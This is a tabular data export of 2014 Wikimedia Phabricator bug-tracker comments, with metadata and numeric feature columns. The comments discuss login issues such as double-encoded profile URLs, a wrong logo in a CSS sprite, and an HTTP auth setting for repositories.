3067,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,"This is ""Closed,Resolved"" but it happened to me when I linked accounts; I filed T574 before spotting this bug.",,,1412734228,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,24.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,4.0,0.0,8.0,0.0,16.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,3.68,0.92,"This is ""Closed,Resolved"" but it happened to me when I linked accounts; I filed T574 before spotting this bug."
3025,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,">>! In T547#8678, @bd808 wrote:
> This double encoding issue seems to also effect the links to OAuth accounts on https://phabricator.wikimedia.org/settings/panel/external/

It appears URLs are stored in some double encoded form in Phab. We should make stored URLs correct, not just fix (=urldecode) them on display.",,,1412656847,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,False,,,-39,True,3.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.8529411764705883,0.8529411764705882,"QUOTE
QUOTE

It appears URLs are stored in some double encoded form in Phab. We should make stored URLs correct, not just fix (=urldecode) them on display."
3021,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,This double encoding issue seems to also effect the links to OAuth accounts on https://phabricator.wikimedia.org/settings/panel/external/,,,1412639474,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.533333333333333,0.9333333333333333,This double encoding issue seems to also effect the links to OAuth accounts on URL
3010,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,"works.

https://phabricator.wikimedia.org/p/csteipp/",,,1412628733,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,"works.

URL"
2995,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,"@aklapper: it actually required more calls to urldecode not less ;)

@everyone: review please...",,,1412621368,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.833333333333333,0.8888888888888888,"SCREEN_NAME: it actually required more calls to urldecode not less ;)
SCREEN_NAME: review please..."
2998,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters," #patch-for-review
Fixed in https://gerrit.wikimedia.org/r/#/c/165031/",,,1412623776,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6363636363636362,0.9090909090909091," #patch-for-review
Fixed in URL"
2993,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,Fixed in https://gerrit.wikimedia.org/r/#/c/165031/,,,1412620980,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Fixed in URL
2964,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,I guess that's due to urldecode($name) in https://git.wikimedia.org/blob/phabricator%2Fextensions.git/HEAD/MediaWikiUserpageCustomField.php#L39 ?,,,1412595945,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,1.0,I guess that's due to urldecode($name) in URL ?
2963,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,"It's not just non-Latin, the link on https://phabricator.wikimedia.org/p/mmodell/ is broken too...",,,1412589600,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,False,,,-39,True,0.0,0.0,0.0,6.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9375,1.0,"It's not just non-Latin, the link on URL is broken too..."
2961,MediaWiki login for Phabricator produces broken links for Wikimedia profiles with URL encoded characters,"@mmodell, do you think it is feasible to fix this before Day 1?

If we got a real user hitting this problem even before announcing that Phabricator registration is open, there is a chance that we will get more cases before and right after Day 1.",,,1412585385,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-5rgw2a63nlus3bny2xmf,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,6.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,8.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,2.0,10.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,6.0,10.0,6.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,8.0,14.0,4.0,2.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,4.0,0.7843137254901961,"SCREEN_NAME, do you think it is feasible to fix this before Day 1?

If we got a real user hitting this problem even before announcing that Phabricator registration is open, there is a chance that we will get more cases before and right after Day 1."
325,Move GoogleLogin Info page from Special:GoogleLogin to Special:Preferences,"The GoogleID connected with the user is a setting, so maybe move it to preferences.",Medium,50.0,1406659027,1410486263.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-TASK-fewblimmbhpyks27bydq,task_description,resolved,True,c3,1,True,False,True,-49,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,18.0,6.0,12.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,1.0,"The GoogleID connected with the user is a setting, so maybe move it to preferences."
2254,Move GoogleLogin Info page from Special:GoogleLogin to Special:Preferences,//importing issue status//,,,1410486262,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-fewblimmbhpyks27bydq,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,//importing issue status//
2253,Move GoogleLogin Info page from Special:GoogleLogin to Special:Preferences,"**Florian** wrote on `2014-08-17 19:15:37 (UTC)`

Resolved in: https://gerrit.wikimedia.org/r/#/c/152988/",,,1410486262,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-fewblimmbhpyks27bydq,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.923076923076923,0.7692307692307693,"**Florian** wrote on CODE

Resolved in: URL"
296,Use the MediaWiki logo for the login button,"{F15728}

not the openid logo :)",Medium,50.0,1405713550,1410486168.0,PHID-USER-z3l4i7dl52qicxtephy5,False,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-TASK-qm5bkt3nmxpisqqdlqjw,task_description,declined,True,c3,1,True,False,True,-50,True,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,1.0,"{F15728}

not the openid logo :)"
2153,Use the MediaWiki logo for the login button,//importing issue status//,,,1410486168,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-qm5bkt3nmxpisqqdlqjw,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,//importing issue status//
2152,Use the MediaWiki logo for the login button,"**aklapper** wrote on `2014-08-18 21:07:24 (UTC)`

>>! In T470#9, @mmodell wrote:
> Fix is pending upstream

For the records, superseded by https://secure.phabricator.com/T5096 and https://secure.phabricator.com/D9202

[Fixing task status again which got munged when renaming according to T359.]",,,1410486167,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-qm5bkt3nmxpisqqdlqjw,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,8.0,0.0,0.0,3.0,3.6842105263157894,0.8157894736842105,"**aklapper** wrote on CODE

QUOTE
QUOTE

For the records, superseded by URL and URL

[Fixing task status again which got munged when renaming according to T359.]"
2151,Use the MediaWiki logo for the login button,"**mmodell** wrote on `2014-07-30 18:39:09 (UTC)`

Fix is pending upstream",,,1410486167,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-qm5bkt3nmxpisqqdlqjw,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.3846153846153846,0.7692307692307693,"**mmodell** wrote on CODE

Fix is pending upstream"
2150,Use the MediaWiki logo for the login button,"**mmodell** wrote on `2014-07-18 21:55:33 (UTC)`

https://gerrit.wikimedia.org/r/#/c/147662/
",,,1410486164,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-qm5bkt3nmxpisqqdlqjw,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5454545454545454,0.7272727272727273,"**mmodell** wrote on CODE

URL
"
232,"MediaWiki login button has ""Amazon.com"" logo?","The login screen has an option now to login with MediaWiki.org credentials. The logo for this is shown as Amazon.com.

This is due to the login options all sharing a CSS icon sprite, but no offset has been provided for MediaWiki, so it defaults to top left corner of the sprite, which is Amazon.com",Medium,50.0,1402351815,1410485929.0,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-TASK-sso35pptcxfyn2sgjjrw,task_description,resolved,True,c3,1,True,True,True,-56,True,2.0,0.0,0.0,3.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,18.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,13.0,2.0,2.0,18.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,15.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,4.1,0.75,"The login screen has an option now to login with MediaWiki.org credentials. The logo for this is shown as Amazon.com.

This is due to the login options all sharing a CSS icon sprite, but no offset has been provided for MediaWiki, so it defaults to top left corner of the sprite, which is Amazon.com"
1860,"MediaWiki login button has ""Amazon.com"" logo?",//importing issue status//,,,1410485929,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-sso35pptcxfyn2sgjjrw,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,//importing issue status//
1859,"MediaWiki login button has ""Amazon.com"" logo?","**mmodell** wrote on `2014-06-27 22:26:28 (UTC)`

fixed by https://gerrit.wikimedia.org/r/#/c/139442/ and currently submitted for review upstream.",,,1410485928,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-sso35pptcxfyn2sgjjrw,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8421052631578947,0.8421052631578947,"**mmodell** wrote on CODE

fixed by URL and currently submitted for review upstream."
1858,"MediaWiki login button has ""Amazon.com"" logo?","**csteipp** wrote on `2014-06-16 15:39:35 (UTC)`

It's a sprite with x & y offsets. I sent a patch to @mmodell and @demon. If someone can walk me through arc I can try and upload it here.",,,1410485928,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-sso35pptcxfyn2sgjjrw,task_subcomment,,True,c3,1,True,,,-42,True,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,12.0,10.0,7.0,0.0,0.0,0.0,12.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,3.4146341463414633,0.8048780487804879,"**csteipp** wrote on CODE

It's a sprite with x & y offsets. I sent a patch toSCREEN_NAME andSCREEN_NAME. If someone can walk me through arc I can try and upload it here."
1857,"MediaWiki login button has ""Amazon.com"" logo?","**aklapper** wrote on `2014-06-16 13:37:09 (UTC)`

Also brought up in T40#97; Matt wrote
> We should just hide the Amazon.com logo (CSS .login-MediaWiki {display: none} ) until the logo can be done properly.",,,1410485927,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-sso35pptcxfyn2sgjjrw,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.263157894736842,0.7894736842105263,"**aklapper** wrote on CODE

Also brought up in T40#97; Matt wrote
QUOTE"
123,"Turn on ""diffusion.allow-http-auth""","When creating a Phabricator hosted repository, and trying to serve it over http (even for ""Read only""), Phabricator warns that:

  NOTE: The configuration setting diffusion.allow-http-auth is currently disabled. You must enable it to activate authenticated access to repositories over HTTP.

When going ahead nonetheless, and saving the changes, the repository status says:

  Missing Binary git-http-backend	Unable to find this binary in the webserver's PATH. You may need to configure environment.append-paths.",Medium,50.0,1398289650,1412896210.0,PHID-USER-pntojlcbclwhuip53bix,False,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-TASK-y2px7ogikirl56nqk7dk,task_description,declined,True,c3,1,True,False,True,-63,True,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,10.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,3.0,2.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,1.0,14.0,3.0,2.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,10.0,4.0,0.0,2.0,0.0,4.0,0.0,2.0,1.0,0.0,6.0,0.0,0.0,0.0,4.47,0.71,"When creating a Phabricator hosted repository, and trying to serve it over http (even for ""Read only""), Phabricator warns that:

  NOTE: The configuration setting diffusion.allow-http-auth is currently disabled. You must enable it to activate authenticated access to repositories over HTTP.

When going ahead nonetheless, and saving the changes, the repository status says:

  Missing Binary git-http-backend	Unable to find this binary in the webserver's PATH. You may need to configure environment.append-paths."
2161795,"Turn on ""diffusion.allow-http-auth""","Test wiki on [[ http://localhost/patchdemo | Patch demo ]]  by Ed using patch(es) linked to this task was **deleted**:

